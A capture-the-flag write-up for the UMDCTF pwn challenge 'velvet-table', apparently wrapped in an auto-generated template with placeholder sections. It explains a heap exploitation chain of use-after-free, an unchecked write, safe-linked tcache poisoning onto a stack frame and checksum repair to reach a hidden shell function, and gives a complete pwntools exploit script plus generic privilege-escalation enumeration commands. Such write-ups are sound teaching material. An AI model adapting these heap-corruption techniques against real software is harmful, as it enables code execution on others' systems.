velvet-table
velvet-table
Platform: Umdctf | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: checksum_repair, hidden_function_call, reversible_keystream_leak, stack_target_allocation, tcache_poisoning
Summary
Task: a stripped PIE casino allocator exposes seat-based heap operations, encrypted inspection output, and a payout path guarded by a stack checksum. Solution: combine UAF and post-ledger OOB write for safe-linked tcache poisoning onto the payout stack frame, leak and decrypt stack data, replace the reject callback with the hidden win function, repair the checksum, and trigger payout.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
umdctf| ID:20260425_umdctf_velvet_table - Tags: pie, heap, uaf, function_pointer, tcache, stack_pivot, oob_write, safe_linking
- Indicators: cashout frees chunks but often leaves dangling pointers, update gains an unchecked memcpy after settle-ledger, inspect reveals encrypted bytes from chunk contents, payout validates and calls a stack-stored function pointer
- Source:
20260425_umdctf_velvet_table.md
Foothold
Vulnerability / Misconfiguration
- Checksum_repair
- Hidden_function_call
- Reversible_keystream_leak
- Stack_target_allocation
- Tcache_poisoning
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- checksum_repair
- hidden_function_call
- reversible_keystream_leak
- stack_target_allocation
- tcache_poisoning
- Tags: pie, heap, uaf, function_pointer, tcache, stack_pivot, oob_write, safe_linking
Original Writeup
<details><summary>Click to expand original content</summary>Challenge
Remote: nc challs.umdctf.io 30304
Binary: velvet-table
Protections:
- PIE
- Full RELRO
- NX
- no canary
- SHSTK
- IBT
The program is a stripped menu-driven allocator with 16 seat records. Each seat stores:
ptrsizeoccupied
Two nearby internal callbacks are especially important:
0x1b50printsticket rejected.0x1b60printsyay.and callssystem("/bin/sh")
The goal is to redirect the payout path to the hidden function.
Analysis
Reversing the binary shows three key primitives.
1. Use-after-free via cashout
For 0x80 chunks, cashout frees the chunk but leaves the seat pointer behind. That gives a reliable dangling-pointer primitive.
2. Unchecked write after settle-ledger
After enough actions, settle-ledger enables a stronger update path that performs:
memcpy(ptr, buf, len)
with no bounds check. Combined with the dangling pointer, this lets us overwrite freed tcache metadata.
3. Reversible leak via inspect
inspect prints up to 0x40 bytes from a seat, but XORed with an internal keystream. That is still useful: if we first write known plaintext into a live chunk, then inspect it, we recover the keystream with:
keystream = ciphertext ^ plaintext
Then later inspect outputs can be decrypted the same way.
Payout target on the stack
The service prints a table marker. That value is enough to reconstruct the payout frame location on the stack:
low32 = marker ^ 0x9ac90307 stackbuf = 0x7ff000000000 | (low32 << 4) saved_highbits = ((low32 ^ 0x5a17c3d9) & 0xffffffff) << 32
Relevant fields inside that stack buffer:
- function pointer:
stackbuf + 0x20 - checksum:
stackbuf + 0x28
The integrity formula is:
checksum = saved_highbits ^ funcptr ^ 0x686f7573655f6564
So the full plan is:
- Use UAF + unchecked write to poison tcache,
- Force
mallocto returnstackbuf, - Leak/decrypt the payout frame,
- Change the callback from
...1b50to...1b60, - Recompute checksum,
- Trigger payout.
Exploitation Strategy
1. Prepare allocator state
Reserve four 0x80 chunks. This advances the internal action counter enough to unlock settle-ledger.
2. Recover the inspect keystream
Write a known 0x40-byte pattern into one live chunk and inspect it. XORing the output with the known bytes recovers the keystream.
3. Free three chunks and poison tcache
Free three 0x80 chunks so their pointers dangle. Then use update on the freed tcache-head chunk to overwrite its fd pointer.
Because of safe-linking, the correct poisoned value is:
poisoned_fd = (freed_chunk_addr >> 12) ^ stackbuf
4. Allocate onto the stack
Allocate twice from that bin:
- first allocation consumes the poisoned heap chunk
- second allocation returns
stackbuf
At that point one seat points directly into the payout stack frame.
5. Leak and patch the payout frame
Inspect the stack-backed seat and decrypt the output with the recovered keystream. The function pointer at offset 0x20 ends with 0x1b50, the reject callback.
The hidden win function is exactly +0x10, so:
win = func + 0x10 checksum = saved_highbits ^ win ^ 0x686F7573655F6564
Overwrite the stack-backed allocation with the new function pointer and repaired checksum.
6. Trigger payout
payout() now passes its integrity check and calls the hidden function, which gives a shell. From there, read /flag.
Final Exploit
#!/usr/bin/env python3
from pwn import *
import re
HOST = 'challs.umdctf.io'
PORT = 30304
context.binary = ELF('./velvet-table', checksec=False)
context.arch = 'amd64'
class VelvetTable:
def __init__(self, io):
self.io = io
def choice(self, n):
self.io.sendline(str(n).encode())
def reserve(self, seat, size):
self.choice(1)
self.io.recvuntil(b'seat: ')
self.io.sendline(str(seat).encode())
self.io.recvuntil(b'size: ')
self.io.sendline(str(size).encode())
out = self.io.recvuntil(b'> ')
m = re.search(rb'reservation confirmed: (0x[0-9a-fA-F]+)', out)
if not m:
raise ValueError(out)
return int(m.group(1), 16)
def cashout(self, seat):
self.choice(2)
self.io.recvuntil(b'seat: ')
self.io.sendline(str(seat).encode())
return self.io.recvuntil(b'> ')
def update(self, seat, data):
self.choice(3)
self.io.recvuntil(b'seat: ')
self.io.sendline(str(seat).encode())
self.io.recvuntil(b'length: ')
self.io.sendline(str(len(data)).encode())
self.io.recvuntil(b'data:\n')
self.io.send(data)
return self.io.recvuntil(b'> ')
def inspect(self, seat):
self.choice(4)
self.io.recvuntil(b'seat: ')
self.io.sendline(str(seat).encode())
out = self.io.recvuntil(b'\n\n1) reserve')
self.io.recvuntil(b'> ')
return out[:-len(b'\n\n1) reserve')]
def settle(self):
self.choice(7)
return self.io.recvuntil(b'> ')
def payout(self):
self.choice(6)
def parse_marker(banner):
return int(re.search(rb'table marker: 0x([0-9a-fA-F]+)', banner).group(1), 16)
def stackbuf_from_marker(marker):
low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF
return 0x7FF000000000 | (low32 << 4)
def saved_highbits_from_marker(marker):
low32 = (marker ^ 0x9AC90307) & 0xFFFFFFFF
return (((low32 ^ 0x5A17C3D9) & 0xFFFFFFFF) << 32)
def main():
io = remote(HOST, PORT)
banner = io.recvuntil(b'> ')
marker = parse_marker(banner)
stackbuf = stackbuf_from_marker(marker) # rsp+0x90
saved_hi = saved_highbits_from_marker(marker)
log.info(f'marker = {marker:#x}')
log.info(f'stackbuf = {stackbuf:#x}')
log.info(f'funcptr = {stackbuf + 0x20:#x}')
log.info(f'checksum = {stackbuf + 0x28:#x}')
vt = VelvetTable(io)
SIZE = 0x80
S, A, B, D = 0, 1, 2, 3
ptrS = vt.reserve(S, SIZE)
ptrA = vt.reserve(A, SIZE)
ptrB = vt.reserve(B, SIZE)
ptrD = vt.reserve(D, SIZE)
log.info(f'ptrS = {ptrS:#x}')
log.info(f'ptrA = {ptrA:#x}')
log.info(f'ptrB = {ptrB:#x}')
log.info(f'ptrD = {ptrD:#x}')
vt.settle()
known = bytes(range(1, 0x41))
vt.update(S, known)
ct = vt.inspect(S)
keystream = xor(ct, known)
vt.cashout(S)
vt.cashout(A)
vt.cashout(B)
poisoned_fd = (ptrB >> 12) ^ stackbuf
vt.update(B, p64(poisoned_fd))
vt.reserve(A, SIZE) # gets ptrB
stack_ptr = vt.reserve(S, SIZE) # gets stackbuf
assert stack_ptr == stackbuf
stack_ct = vt.inspect(S)
stack_plain = xor(stack_ct, keystream)
func = u64(stack_plain[0x20:0x28])
assert (func & 0xff) == 0x50
win = func + 0x10
checksum = saved_hi ^ win ^ 0x686F7573655F6564
payload = bytearray(stack_plain[:0x30])
payload[0x20:0x28] = p64(win)
payload[0x28:0x30] = p64(checksum)
vt.update(S, payload)
vt.payout()
io.recvuntil(b'yay.\n')
io.sendline(b'cat /flag /app/flag* flag* 2>/dev/null')
data = io.recvrepeat(2)
print(data.decode(errors='ignore'))
if __name__ == '__main__':
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR